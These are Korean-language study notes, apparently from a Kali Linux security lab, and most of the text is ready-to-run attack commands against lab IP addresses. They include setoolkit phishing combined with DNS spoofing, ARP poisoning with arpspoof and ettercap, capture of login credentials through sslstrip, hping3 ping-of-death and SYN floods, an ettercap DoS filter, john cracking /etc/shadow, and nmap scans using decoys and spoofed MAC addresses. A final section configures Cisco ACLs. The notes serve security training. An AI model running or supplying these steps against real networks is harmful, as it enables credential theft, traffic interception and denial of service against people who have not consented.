Passion

setoolkit

1.

2.

3.

4.

5.

6.

service apache2 restart

7. dns 스푸핑과 연계

//네이버 도메인 입력시 피싱사이트가 뜸.

피싱사이트에서 로그인 시, 이렇게 스니핑할 수 있다.

cd .set/reports/     //스니핑한 정보가 들어 있다.

urlsnarf -i eth0 //공격대상자의 url위치를 파악할 수있다.

driftent -i eth0

상대방이 무슨 이미지를 보는지 스니핑 할 수 있다.

[ssh 스니핑]

[ip 포워딩]

//라우팅과 같은말

cd /proc/sys/net/ipv4

vi ip_forward

안에 값이 1로 되어야 사용할 수있다.

직접 수정은 불가능하므로, 명령어로 줘야한다.

[명령어]

echo 1 > ip_forward //값을 1로 변경 

sysctl -w net.ipv4.ip_forward=1

vi /etc/sysctl.conf      //컴퓨터를 껐다 켜도 설정한 값을 저장

net.ipv4.ip_foward =1 값의 주석을 해제한다.

[ssh 스니핑]

arp 스니핑 후 가능

sslstrip -l 8080

실행 시킨후 , 페북계정과 비번 입력

vi sslstrip.log

id와 비번 스니핑

ettercap dos공격

vi dos.elt   

etterfilter ./dos.elt -o ./dos.ef   //dos.ef로 확장자를 변환

ettercap -i eth0 -T -q -F /root/dos.ef -M ARP /192.168.232.120///

칼리에서 실행

# service apache2 restart

arp 스푸핑 후,

vi dns.txt

dnsspoof -f /root/dns.txt

windows 7에서 위의 도메인을 치게되면 칼리에서 만든 웹페이지로 접속 된다.

ettercap

vi /etc/ettercap/etter.dns    

ettercap -G  //dettercap 실행

scan한 리스트를 확인한다.

arp 포이즈닝을 통해 맥주소를 같게 만들어준다.

게이트웨이를 타겟1로 설정

공격 대상자를 타겟2로 설정

공격플러그인 목록

dns_spoof 플러그인 선택

아까 etter.dns안에 넣은 도메인 주소가 공격자 도메인으로 바뀜.

arpspoof

공격자 : 192.168.232.100

공격 대상자 (windows7) : 192.168.232.120

arpspoof -t [타겟 ip] [게이트웨이]

arpspoof -t 192.168.232.120 192.168.232.2

공격자와 게이트웨이의 맥주소가 같아지면 스푸핑 공격이 성공한 것이다.

arpspoof -t 192.168.232.2 192.168.232.120

 //반대로 한번 더 확실하게 스푸핑됨. 이 작업을 하게 되면

   fragrouter로도 인터넷이 안될 때도 있다.

fragrouter -B1

//칼리에서 공격한 후 즉시 실행 해줘야 공격 대상자의 인터넷이 안끈킴

게이트웨이 맥주소와 공격자의 맥주소가 같아지면 성공한 것이다.

ftp에 접속을 하게 되면

이런식으로 스니핑이 가능하다.

공격자 ip :192.168.232.100

대상자 ip :192.168.232.101

ping of death

hping3 --icmp --rand-source 192.168.232.101 -d 65000 --flood

//랜덤한 아이피 주소로 192.168.232.101 에게 핑을 최대크기로 보낸다.

공격 당한 컴퓨터 상태

속도가 엄청 느려진것 을 느낄수 있다.

Syn Flooding

hping3 --rand-source 192.168.232.101 -p 80 -S --flood

//Syn 패킷을 보냄

공격 당한 컴퓨터 상태

//메모리까지 상승하게 된다.

Tear Drop  //패킷분할공격

centos7 작업관리자 //gnome-system-monitor

패스워드 크래킹 툴이다.

john /etc/shadow   //shadow에 있는 root 비번 크랙

john --show /etc/shadow  //크랙한 것을 보여줌

[스캐닝]

[종류]

TCP

open Scan :TCP Connected     

half open scan :SYN(크게보면 은닉스캔으로 볼수있다.)

Stealth scan(은닉스캔) : Null,X-mas,FIN 

  //Stealth scan과 udp scan의 차이

Stealth scan(은닉스캔) 

- 포트 open : 아무 응답이 돌아오지 않음

- 포트 close : RST+ACK가 돌아온다.

UDP SCAN

- 포트 open : 아무 응답이 돌아오지 않음

- 포트 close : ICMP unreachable                    

iptables REJECT : 차단 되었다고 알려줌

            DROP : 아예무시하고 차단함.

            ACCEPT : 열림

systemctl restart firewalld   //Centos7 방화벽 재시작

service iptables stop //sulinux 방화벽 끄기

nmap

nmap 옵션을 주지 않고 ip만 입력 했을 시 전체 포트가 스캔됨.

 [옵션]

 -sT // tcp 스캔

 -sU // udp 스캔

 -sP // 해당 네트워크 대역에 살아있는 호스트 스캔

 -O //상대방에 OS를 알려주는 옵션

 -open //열린 포트만 확인

 -reason //왜 열리고 왜 닫혔는지 이유를 알려줌

 -n  ip주소를  DNS호스트명으로 바꾸지 않기때문에 속도가 빠르다. 

 -v //진행과정을 보여준다.

 -A  // os나 포트열린 것 등등 전부 다 보여준다.

 -top-port n // 맨위의 n개만큼 보여줘라

 -f    //패킷을 분할해서 보낸다.

 --mtu n  //n의값으로 mtu값을 바꿔서 보낸다.

 -D RND:10 //ip주소를 10개씩 랜덤하게 보낸다.

 -data-length 60 //데이터의길이를 60으로 변경해서 보낸다.

 -randomize-hosts 192.168.232.110-254

 //주어진 네트워크주소를 전부 스캔한다.

    //스텔스 모드 명령어

 -sX

 -sF

 -sN

 -iL ./파일명 //파일안에 있는 아이피주소 만큼 스캔

 -n -D 100.100.100.100,100.100.100.200,100.100.100.250 192.168.232.110 

//100.100.100.100,100.100.100.200,100.100.100.250 으로 스푸핑되서 보냄

-o  //로그저장

--spoof-mac 00:00:00:00:00 192.168.232.110 //mac주소를 스푸핑해서 보냄

# nmap -sT [공격대상자ip주소]  //포트스캔

#nmap -sP 192.168.232.0/24

#nmap -O 192.168.232.110

#nmap -sT -f 192.168.232.110

# nmap -iL ./scan.txt

vi scan.txt

# nmap -sT 192.168.232.110 -o tcp.txt

nmap --spoof-mac 00:00:00:00:00 192.168.232.110

[ACL]

[표준 ACL]

 -<1-99> 번을주면 표준

 - 출발지 IP 주소만 참조

 - 라우터의 부담이크다. 그렇기때문에 네트워크 효율이 좋은 쪽에

   걸어야 한다.

 - 모든 서비스를 차단할 때만 사용하는 것이 효율적이다.

Router2  //ACL적용 라우터

Router(config)#access-list 1 deny 192.168.10.0 0.0.0.255

//192.168.10.0 의 네트워크를 전부 차단
Router(config)#access-list 1 permit any

//라우터는 암묵적으로 deny기에 허용을 해줘야함.

//1 번을 제외한 나머지는 허용

Router(config)#int fa0/1

Router(config-if)#ip access-group 1 out

//패킷이 나가는 포트에 들어가서 acl 적용

[확장 ACL]

 - <100-199> 번을 주면 확장

 - 출발지,목적지 IP주소 참조

 - 표준과 다르게 많은 제약을 줄 수 있다.

웹만 차단

Router(config)#access-list 100 deny tcp 192.168.10.0 0.0.0.255 192.168.30.0 0.0.0.255 eq www

//192.168.10.0 네트워크에서 192.168.30.0 네트워크의 웹 차단

Router(config)#access-list 100 permit ip any any

//출발지와 목적지 둘다 참조하므로 any 2번

Router(config)#int f0/1 //ACL 적용

Router(config-if)#ip access-group 100 out

아래와 같이 웹이 차단된 것을 볼 수 있다.